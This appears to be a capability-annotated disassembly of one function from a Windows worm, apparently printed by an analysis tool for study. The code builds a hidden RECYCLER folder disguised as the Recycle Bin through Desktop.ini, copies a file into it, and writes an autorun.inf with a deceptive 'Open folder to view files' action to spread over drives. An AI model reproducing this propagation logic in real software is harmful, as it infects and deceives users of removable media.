Function at 0x40286e
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x510
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x50c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x520]
lea eax, [esp + 0x14]
push edi
mov ebp, 0x200
mov dword [esp + 0x10], esi
push ebp
xor ebx, ebx
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x228]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov edx, esi
mov al, byte [edx]
inc edx
test al, al
jne 0x4028b8
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028c6
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4028e3
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028f1
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
shr ecx, 2
lea eax, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402928
call ebx
cmp eax, 0xb7
jne 0x402976
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40293c
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40294a
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
test eax, eax
jne 0x402980
call ebx
cmp eax, 0xb7
je 0x402980
push str.Error_creating_directory
jmp 0x402c5e
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x18]
push 7
push eax
call ebx
mov ebp, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov edx, ebp
mov esi, ebp
mov al, byte [edx]
inc edx
test al, al
jne 0x402998
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029a9
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.Desktop.ini
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029c6
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029d4
mov ecx, edx
xor eax, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 6
push 2
push eax
push eax
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402c59
mov ecx, ebp
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a13
push 0
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x402a41
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Error_writing_to_file
jmp 0x402c5e
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebp
push 7
lea eax, [esp + 0x1c]
push eax
call ebx
push 0
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x402a75
push str.Error_copying_file
jmp 0x402c5e
xor eax, eax
mov ecx, 0x200
cmp eax, ecx
jae 0x402c81
mov byte [esp + eax + 0x218], 0
inc eax
cmp eax, ecx
jb 0x402a84
cmp byte [esp + 0x18], 0x5c
lea edx, [esp + 0x18]
je 0x402aa2
inc edx
cmp byte [edx], 0x5c
jne 0x402a9c
mov ebx, str._autorun__r_nopen
inc edx
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402aaa
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402abb
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402ad5
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402ae6
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402b03
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b14
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b2c
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b3d
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._r_nshellopendefault1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b5a
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b6b
mov ecx, edx
xor ebx, ebx
shr ecx, 2
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x200
cmp eax, ecx
jae 0x402c81
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x402b92
mov edx, dword [esp + 0x10]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402ba1
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402baf
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._autorun.inf
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402bcc
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402bda
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 7
push 2
push ebx
push ebx
push 0x40000000
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402c59
lea ecx, [esp + 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c28
push ebx
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x224]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x402c53
call ebp
jmp 0x402a37
call ebp
xor eax, eax
jmp 0x402c68
push str.Error_creating_file
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
xor eax, eax
pop ecx
inc eax
mov ecx, dword [esp + 0x51c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004030c5
add esp, 0x510
ret
call fcn.004031f5
int3